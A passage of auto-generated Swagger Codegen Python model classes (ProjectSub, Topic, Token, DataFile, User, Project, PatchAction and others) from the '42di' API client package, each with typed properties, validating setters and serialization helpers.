'expire_at': 'str',
'created': 'datetime'
}
attribute_map = {
'id': 'id',
'team_id': 'team_id',
'project_id': 'project_id',
'subscriber': 'subscriber',
'expire_at': 'expire_at',
'created': 'created'
}
def __init__(self, id=None, team_id=None, project_id=None, subscriber=None, expire_at=None, created=None): # noqa: E501
"""ProjectSub - a model defined in Swagger""" # noqa: E501
self._id = None
self._team_id = None
self._project_id = None
self._subscriber = None
self._expire_at = None
self._created = None
self.discriminator = None
self.id = id
self.team_id = team_id
self.project_id = project_id
self.subscriber = subscriber
self.expire_at = expire_at
self.created = created
@property
def id(self):
"""Gets the id of this ProjectSub. # noqa: E501
:return: The id of this ProjectSub. # noqa: E501
:rtype: str
"""
return self._id
@id.setter
def id(self, id):
"""Sets the id of this ProjectSub.
:param id: The id of this ProjectSub. # noqa: E501
:type: str
"""
if id is None:
raise ValueError("Invalid value for `id`, must not be `None`") # noqa: E501
self._id = id
@property
def team_id(self):
"""Gets the team_id of this ProjectSub. # noqa: E501
:return: The team_id of this ProjectSub. # noqa: E501
:rtype: str
"""
return self._team_id
@team_id.setter
def team_id(self, team_id):
"""Sets the team_id of this ProjectSub.
:param team_id: The team_id of this ProjectSub. # noqa: E501
:type: str
"""
if team_id is None:
raise ValueError("Invalid value for `team_id`, must not be `None`") # noqa: E501
self._team_id = team_id
@property
def project_id(self):
"""Gets the project_id of this ProjectSub. # noqa: E501
:return: The project_id of this ProjectSub. # noqa: E501
:rtype: str
"""
return self._project_id
@project_id.setter
def project_id(self, project_id):
"""Sets the project_id of this ProjectSub.
:param project_id: The project_id of this ProjectSub. # noqa: E501
:type: str
"""
if project_id is None:
raise ValueError("Invalid value for `project_id`, must not be `None`") # noqa: E501
self._project_id = project_id
@property
def subscriber(self):
"""Gets the subscriber of this ProjectSub. # noqa: E501
:return: The subscriber of this ProjectSub. # noqa: E501
:rtype: str
"""
return self._subscriber
@subscriber.setter
def subscriber(self, subscriber):
"""Sets the subscriber of this ProjectSub.
:param subscriber: The subscriber of this ProjectSub. # noqa: E501
:type: str
"""
if subscriber is None:
raise ValueError("Invalid value for `subscriber`, must not be `None`") # noqa: E501
self._subscriber = subscriber
@property
def expire_at(self):
"""Gets the expire_at of this ProjectSub. # noqa: E501
:return: The expire_at of this ProjectSub. # noqa: E501
:rtype: str
"""
return self._expire_at
@expire_at.setter
def expire_at(self, expire_at):
"""Sets the expire_at of this ProjectSub.
:param expire_at: The expire_at of this ProjectSub. # noqa: E501
:type: str
"""
if expire_at is None:
raise ValueError("Invalid value for `expire_at`, must not be `None`") # noqa: E501
self._expire_at = expire_at
@property
def created(self):
"""Gets the created of this ProjectSub. # noqa: E501
:return: The created of this ProjectSub. # noqa: E501
:rtype: datetime
"""
return self._created
@created.setter
def created(self, created):
"""Sets the created of this ProjectSub.
:param created: The created of this ProjectSub. # noqa: E501
:type: datetime
"""
if created is None:
raise ValueError("Invalid value for `created`, must not be `None`") # noqa: E501
self._created = created
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(ProjectSub, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, ProjectSub):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/project_sub.py
|
project_sub.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class Topic(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'id': 'str',
'board_id': 'str',
'is_reply': 'bool',
'replay_to': 'str',
'creator': 'str',
'subject': 'str',
'body': 'str',
'created': 'datetime',
'last_modified': 'datetime'
}
attribute_map = {
'id': 'id',
'board_id': 'board_id',
'is_reply': 'is_reply',
'replay_to': 'replay_to',
'creator': 'creator',
'subject': 'subject',
'body': 'body',
'created': 'created',
'last_modified': 'last_modified'
}
def __init__(self, id=None, board_id=None, is_reply=None, replay_to=None, creator=None, subject=None, body=None, created=None, last_modified=None): # noqa: E501
"""Topic - a model defined in Swagger""" # noqa: E501
self._id = None
self._board_id = None
self._is_reply = None
self._replay_to = None
self._creator = None
self._subject = None
self._body = None
self._created = None
self._last_modified = None
self.discriminator = None
self.id = id
self.board_id = board_id
if is_reply is not None:
self.is_reply = is_reply
if replay_to is not None:
self.replay_to = replay_to
if creator is not None:
self.creator = creator
if subject is not None:
self.subject = subject
if body is not None:
self.body = body
if created is not None:
self.created = created
if last_modified is not None:
self.last_modified = last_modified
@property
def id(self):
"""Gets the id of this Topic. # noqa: E501
:return: The id of this Topic. # noqa: E501
:rtype: str
"""
return self._id
@id.setter
def id(self, id):
"""Sets the id of this Topic.
:param id: The id of this Topic. # noqa: E501
:type: str
"""
if id is None:
raise ValueError("Invalid value for `id`, must not be `None`") # noqa: E501
self._id = id
@property
def board_id(self):
"""Gets the board_id of this Topic. # noqa: E501
:return: The board_id of this Topic. # noqa: E501
:rtype: str
"""
return self._board_id
@board_id.setter
def board_id(self, board_id):
"""Sets the board_id of this Topic.
:param board_id: The board_id of this Topic. # noqa: E501
:type: str
"""
if board_id is None:
raise ValueError("Invalid value for `board_id`, must not be `None`") # noqa: E501
self._board_id = board_id
@property
def is_reply(self):
"""Gets the is_reply of this Topic. # noqa: E501
:return: The is_reply of this Topic. # noqa: E501
:rtype: bool
"""
return self._is_reply
@is_reply.setter
def is_reply(self, is_reply):
"""Sets the is_reply of this Topic.
:param is_reply: The is_reply of this Topic. # noqa: E501
:type: bool
"""
self._is_reply = is_reply
@property
def replay_to(self):
"""Gets the replay_to of this Topic. # noqa: E501
:return: The replay_to of this Topic. # noqa: E501
:rtype: str
"""
return self._replay_to
@replay_to.setter
def replay_to(self, replay_to):
"""Sets the replay_to of this Topic.
:param replay_to: The replay_to of this Topic. # noqa: E501
:type: str
"""
self._replay_to = replay_to
@property
def creator(self):
"""Gets the creator of this Topic. # noqa: E501
:return: The creator of this Topic. # noqa: E501
:rtype: str
"""
return self._creator
@creator.setter
def creator(self, creator):
"""Sets the creator of this Topic.
:param creator: The creator of this Topic. # noqa: E501
:type: str
"""
self._creator = creator
@property
def subject(self):
"""Gets the subject of this Topic. # noqa: E501
:return: The subject of this Topic. # noqa: E501
:rtype: str
"""
return self._subject
@subject.setter
def subject(self, subject):
"""Sets the subject of this Topic.
:param subject: The subject of this Topic. # noqa: E501
:type: str
"""
self._subject = subject
@property
def body(self):
"""Gets the body of this Topic. # noqa: E501
:return: The body of this Topic. # noqa: E501
:rtype: str
"""
return self._body
@body.setter
def body(self, body):
"""Sets the body of this Topic.
:param body: The body of this Topic. # noqa: E501
:type: str
"""
self._body = body
@property
def created(self):
"""Gets the created of this Topic. # noqa: E501
:return: The created of this Topic. # noqa: E501
:rtype: datetime
"""
return self._created
@created.setter
def created(self, created):
"""Sets the created of this Topic.
:param created: The created of this Topic. # noqa: E501
:type: datetime
"""
self._created = created
@property
def last_modified(self):
"""Gets the last_modified of this Topic. # noqa: E501
:return: The last_modified of this Topic. # noqa: E501
:rtype: datetime
"""
return self._last_modified
@last_modified.setter
def last_modified(self, last_modified):
"""Sets the last_modified of this Topic.
:param last_modified: The last_modified of this Topic. # noqa: E501
:type: datetime
"""
self._last_modified = last_modified
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(Topic, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, Topic):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/topic.py
|
topic.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class Token(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'token_type': 'str',
'token_string': 'str'
}
attribute_map = {
'token_type': 'token_type',
'token_string': 'token_string'
}
def __init__(self, token_type=None, token_string=None): # noqa: E501
"""Token - a model defined in Swagger""" # noqa: E501
self._token_type = None
self._token_string = None
self.discriminator = None
if token_type is not None:
self.token_type = token_type
if token_string is not None:
self.token_string = token_string
@property
def token_type(self):
"""Gets the token_type of this Token. # noqa: E501
:return: The token_type of this Token. # noqa: E501
:rtype: str
"""
return self._token_type
@token_type.setter
def token_type(self, token_type):
"""Sets the token_type of this Token.
:param token_type: The token_type of this Token. # noqa: E501
:type: str
"""
self._token_type = token_type
@property
def token_string(self):
"""Gets the token_string of this Token. # noqa: E501
:return: The token_string of this Token. # noqa: E501
:rtype: str
"""
return self._token_string
@token_string.setter
def token_string(self, token_string):
"""Sets the token_string of this Token.
:param token_string: The token_string of this Token. # noqa: E501
:type: str
"""
self._token_string = token_string
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(Token, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, Token):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/token.py
|
token.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class DataFile(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'name': 'str',
'tag': 'str',
'location': 'str',
'content_type': 'str',
'length': 'int',
'creator': 'str',
'created': 'datetime',
'last_modified': 'datetime'
}
attribute_map = {
'name': 'name',
'tag': 'tag',
'location': 'location',
'content_type': 'content_type',
'length': 'length',
'creator': 'creator',
'created': 'created',
'last_modified': 'last_modified'
}
def __init__(self, name=None, tag=None, location=None, content_type=None, length=None, creator=None, created=None, last_modified=None): # noqa: E501
"""DataFile - a model defined in Swagger""" # noqa: E501
self._name = None
self._tag = None
self._location = None
self._content_type = None
self._length = None
self._creator = None
self._created = None
self._last_modified = None
self.discriminator = None
self.name = name
if tag is not None:
self.tag = tag
if location is not None:
self.location = location
if content_type is not None:
self.content_type = content_type
if length is not None:
self.length = length
if creator is not None:
self.creator = creator
if created is not None:
self.created = created
if last_modified is not None:
self.last_modified = last_modified
@property
def name(self):
"""Gets the name of this DataFile. # noqa: E501
:return: The name of this DataFile. # noqa: E501
:rtype: str
"""
return self._name
@name.setter
def name(self, name):
"""Sets the name of this DataFile.
:param name: The name of this DataFile. # noqa: E501
:type: str
"""
if name is None:
raise ValueError("Invalid value for `name`, must not be `None`") # noqa: E501
self._name = name
@property
def tag(self):
"""Gets the tag of this DataFile. # noqa: E501
:return: The tag of this DataFile. # noqa: E501
:rtype: str
"""
return self._tag
@tag.setter
def tag(self, tag):
"""Sets the tag of this DataFile.
:param tag: The tag of this DataFile. # noqa: E501
:type: str
"""
self._tag = tag
@property
def location(self):
"""Gets the location of this DataFile. # noqa: E501
:return: The location of this DataFile. # noqa: E501
:rtype: str
"""
return self._location
@location.setter
def location(self, location):
"""Sets the location of this DataFile.
:param location: The location of this DataFile. # noqa: E501
:type: str
"""
self._location = location
@property
def content_type(self):
"""Gets the content_type of this DataFile. # noqa: E501
:return: The content_type of this DataFile. # noqa: E501
:rtype: str
"""
return self._content_type
@content_type.setter
def content_type(self, content_type):
"""Sets the content_type of this DataFile.
:param content_type: The content_type of this DataFile. # noqa: E501
:type: str
"""
self._content_type = content_type
@property
def length(self):
"""Gets the length of this DataFile. # noqa: E501
:return: The length of this DataFile. # noqa: E501
:rtype: int
"""
return self._length
@length.setter
def length(self, length):
"""Sets the length of this DataFile.
:param length: The length of this DataFile. # noqa: E501
:type: int
"""
self._length = length
@property
def creator(self):
"""Gets the creator of this DataFile. # noqa: E501
:return: The creator of this DataFile. # noqa: E501
:rtype: str
"""
return self._creator
@creator.setter
def creator(self, creator):
"""Sets the creator of this DataFile.
:param creator: The creator of this DataFile. # noqa: E501
:type: str
"""
self._creator = creator
@property
def created(self):
"""Gets the created of this DataFile. # noqa: E501
:return: The created of this DataFile. # noqa: E501
:rtype: datetime
"""
return self._created
@created.setter
def created(self, created):
"""Sets the created of this DataFile.
:param created: The created of this DataFile. # noqa: E501
:type: datetime
"""
self._created = created
@property
def last_modified(self):
"""Gets the last_modified of this DataFile. # noqa: E501
:return: The last_modified of this DataFile. # noqa: E501
:rtype: datetime
"""
return self._last_modified
@last_modified.setter
def last_modified(self, last_modified):
"""Sets the last_modified of this DataFile.
:param last_modified: The last_modified of this DataFile. # noqa: E501
:type: datetime
"""
self._last_modified = last_modified
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(DataFile, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, DataFile):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/data_file.py
|
data_file.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class User(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'id': 'str',
'name': 'str',
'email': 'str',
'password': 'str',
'created': 'datetime',
'last_modified': 'datetime'
}
attribute_map = {
'id': 'id',
'name': 'name',
'email': 'email',
'password': 'password',
'created': 'created',
'last_modified': 'last_modified'
}
def __init__(self, id=None, name=None, email=None, password=None, created=None, last_modified=None): # noqa: E501
"""User - a model defined in Swagger""" # noqa: E501
self._id = None
self._name = None
self._email = None
self._password = None
self._created = None
self._last_modified = None
self.discriminator = None
self.id = id
self.name = name
if email is not None:
self.email = email
if password is not None:
self.password = password
if created is not None:
self.created = created
if last_modified is not None:
self.last_modified = last_modified
@property
def id(self):
"""Gets the id of this User. # noqa: E501
:return: The id of this User. # noqa: E501
:rtype: str
"""
return self._id
@id.setter
def id(self, id):
"""Sets the id of this User.
:param id: The id of this User. # noqa: E501
:type: str
"""
if id is None:
raise ValueError("Invalid value for `id`, must not be `None`") # noqa: E501
self._id = id
@property
def name(self):
"""Gets the name of this User. # noqa: E501
:return: The name of this User. # noqa: E501
:rtype: str
"""
return self._name
@name.setter
def name(self, name):
"""Sets the name of this User.
:param name: The name of this User. # noqa: E501
:type: str
"""
if name is None:
raise ValueError("Invalid value for `name`, must not be `None`") # noqa: E501
self._name = name
@property
def email(self):
"""Gets the email of this User. # noqa: E501
:return: The email of this User. # noqa: E501
:rtype: str
"""
return self._email
@email.setter
def email(self, email):
"""Sets the email of this User.
:param email: The email of this User. # noqa: E501
:type: str
"""
self._email = email
@property
def password(self):
"""Gets the password of this User. # noqa: E501
:return: The password of this User. # noqa: E501
:rtype: str
"""
return self._password
@password.setter
def password(self, password):
"""Sets the password of this User.
:param password: The password of this User. # noqa: E501
:type: str
"""
self._password = password
@property
def created(self):
"""Gets the created of this User. # noqa: E501
:return: The created of this User. # noqa: E501
:rtype: datetime
"""
return self._created
@created.setter
def created(self, created):
"""Sets the created of this User.
:param created: The created of this User. # noqa: E501
:type: datetime
"""
self._created = created
@property
def last_modified(self):
"""Gets the last_modified of this User. # noqa: E501
:return: The last_modified of this User. # noqa: E501
:rtype: datetime
"""
return self._last_modified
@last_modified.setter
def last_modified(self, last_modified):
"""Sets the last_modified of this User.
:param last_modified: The last_modified of this User. # noqa: E501
:type: datetime
"""
self._last_modified = last_modified
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(User, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, User):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/user.py
|
user.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class Project(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'id': 'str',
'name': 'str',
'team_id': 'str',
'description': 'str',
'is_public': 'bool',
'creator': 'str',
'created': 'datetime',
'last_modified': 'datetime'
}
attribute_map = {
'id': 'id',
'name': 'name',
'team_id': 'team_id',
'description': 'description',
'is_public': 'is_public',
'creator': 'creator',
'created': 'created',
'last_modified': 'last_modified'
}
def __init__(self, id=None, name=None, team_id=None, description=None, is_public=None, creator=None, created=None, last_modified=None): # noqa: E501
"""Project - a model defined in Swagger""" # noqa: E501
self._id = None
self._name = None
self._team_id = None
self._description = None
self._is_public = None
self._creator = None
self._created = None
self._last_modified = None
self.discriminator = None
self.id = id
self.name = name
self.team_id = team_id
if description is not None:
self.description = description
if is_public is not None:
self.is_public = is_public
if creator is not None:
self.creator = creator
if created is not None:
self.created = created
if last_modified is not None:
self.last_modified = last_modified
@property
def id(self):
"""Gets the id of this Project. # noqa: E501
:return: The id of this Project. # noqa: E501
:rtype: str
"""
return self._id
@id.setter
def id(self, id):
"""Sets the id of this Project.
:param id: The id of this Project. # noqa: E501
:type: str
"""
if id is None:
raise ValueError("Invalid value for `id`, must not be `None`") # noqa: E501
self._id = id
@property
def name(self):
"""Gets the name of this Project. # noqa: E501
:return: The name of this Project. # noqa: E501
:rtype: str
"""
return self._name
@name.setter
def name(self, name):
"""Sets the name of this Project.
:param name: The name of this Project. # noqa: E501
:type: str
"""
if name is None:
raise ValueError("Invalid value for `name`, must not be `None`") # noqa: E501
self._name = name
@property
def team_id(self):
"""Gets the team_id of this Project. # noqa: E501
:return: The team_id of this Project. # noqa: E501
:rtype: str
"""
return self._team_id
@team_id.setter
def team_id(self, team_id):
"""Sets the team_id of this Project.
:param team_id: The team_id of this Project. # noqa: E501
:type: str
"""
if team_id is None:
raise ValueError("Invalid value for `team_id`, must not be `None`") # noqa: E501
self._team_id = team_id
@property
def description(self):
"""Gets the description of this Project. # noqa: E501
:return: The description of this Project. # noqa: E501
:rtype: str
"""
return self._description
@description.setter
def description(self, description):
"""Sets the description of this Project.
:param description: The description of this Project. # noqa: E501
:type: str
"""
self._description = description
@property
def is_public(self):
"""Gets the is_public of this Project. # noqa: E501
:return: The is_public of this Project. # noqa: E501
:rtype: bool
"""
return self._is_public
@is_public.setter
def is_public(self, is_public):
"""Sets the is_public of this Project.
:param is_public: The is_public of this Project. # noqa: E501
:type: bool
"""
self._is_public = is_public
@property
def creator(self):
"""Gets the creator of this Project. # noqa: E501
:return: The creator of this Project. # noqa: E501
:rtype: str
"""
return self._creator
@creator.setter
def creator(self, creator):
"""Sets the creator of this Project.
:param creator: The creator of this Project. # noqa: E501
:type: str
"""
self._creator = creator
@property
def created(self):
"""Gets the created of this Project. # noqa: E501
:return: The created of this Project. # noqa: E501
:rtype: datetime
"""
return self._created
@created.setter
def created(self, created):
"""Sets the created of this Project.
:param created: The created of this Project. # noqa: E501
:type: datetime
"""
self._created = created
@property
def last_modified(self):
"""Gets the last_modified of this Project. # noqa: E501
:return: The last_modified of this Project. # noqa: E501
:rtype: datetime
"""
return self._last_modified
@last_modified.setter
def last_modified(self, last_modified):
"""Sets the last_modified of this Project.
:param last_modified: The last_modified of this Project. # noqa: E501
:type: datetime
"""
self._last_modified = last_modified
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(Project, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, Project):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/project.py
|
project.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class PatchAction(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'action': 'str',
'_property': 'str',
'value': 'object'
}
attribute_map = {
'action': 'action',
'_property': 'property',
'value': 'value'
}
def __init__(self, action=None, _property=None, value=None): # noqa: E501
"""PatchAction - a model defined in Swagger""" # noqa: E501
self._action = None
self.__property = None
self._value = None
self.discriminator = None
self.action = action
self._property = _property
if value is not None:
self.value = value
@property
def action(self):
"""Gets the action of this PatchAction. # noqa: E501
Options: add/delete/update # noqa: E501
:return: The action of this PatchAction. # noqa: E501
:rtype: str
"""
return self._action
@action.setter
def action(self, action):
"""Sets the action of this PatchAction.
Options: add/delete/update # noqa: E501
:param action: The action of this PatchAction. # noqa: E501
:type: str
"""
if action is None:
raise ValueError("Invalid value for `action`, must not be `None`") # noqa: E501
self._action = action
@property
def _property(self):
"""Gets the _property of this PatchAction. # noqa: E501
:return: The _property of this PatchAction. # noqa: E501
:rtype: str
"""
return self.__property
@_property.setter
def _property(self, _property):
"""Sets the _property of this PatchAction.
:param _property: The _property of this PatchAction. # noqa: E501
:type: str
"""
if _property is None:
raise ValueError("Invalid value for `_property`, must not be `None`") # noqa: E501
self.__property = _property
@property
def value(self):
"""Gets the value of this PatchAction. # noqa: E501
:return: The value of this PatchAction. # noqa: E501
:rtype: object
"""
return self._value
@value.setter
def value(self, value):
"""Sets the value of this PatchAction.
:param value: The value of this PatchAction. # noqa: E501
:type: object
"""
self._value = value
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(PatchAction, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, PatchAction):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/patch_action.py
|
patch_action.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class AnalysisJobDescriptionDatasource(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'name': 'str',
'dataset_id': 'str'
}
attribute_map = {
'name': 'name',
'dataset_id': 'dataset_id'
}
def __init__(self, name=None, dataset_id=None): # noqa: E501
"""AnalysisJobDescriptionDatasource - a model defined in Swagger""" # noqa: E501
self._name = None
self._dataset_id = None
self.discriminator = None
self.name = name
self.dataset_id = dataset_id
@property
def name(self):
"""Gets the name of this AnalysisJobDescriptionDatasource. # noqa: E501
:return: The name of this AnalysisJobDescriptionDatasource. # noqa: E501
:rtype: str
"""
return self._name
@name.setter
def name(self, name):
"""Sets the name of this AnalysisJobDescriptionDatasource.
:param name: The name of this AnalysisJobDescriptionDatasource. # noqa: E501
:type: str
"""
if name is None:
raise ValueError("Invalid value for `name`, must not be `None`") # noqa: E501
self._name = name
@property
def dataset_id(self):
"""Gets the dataset_id of this AnalysisJobDescriptionDatasource. # noqa: E501
:return: The dataset_id of this AnalysisJobDescriptionDatasource. # noqa: E501
:rtype: str
"""
return self._dataset_id
@dataset_id.setter
def dataset_id(self, dataset_id):
"""Sets the dataset_id of this AnalysisJobDescriptionDatasource.
:param dataset_id: The dataset_id of this AnalysisJobDescriptionDatasource. # noqa: E501
:type: str
"""
if dataset_id is None:
raise ValueError("Invalid value for `dataset_id`, must not be `None`") # noqa: E501
self._dataset_id = dataset_id
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
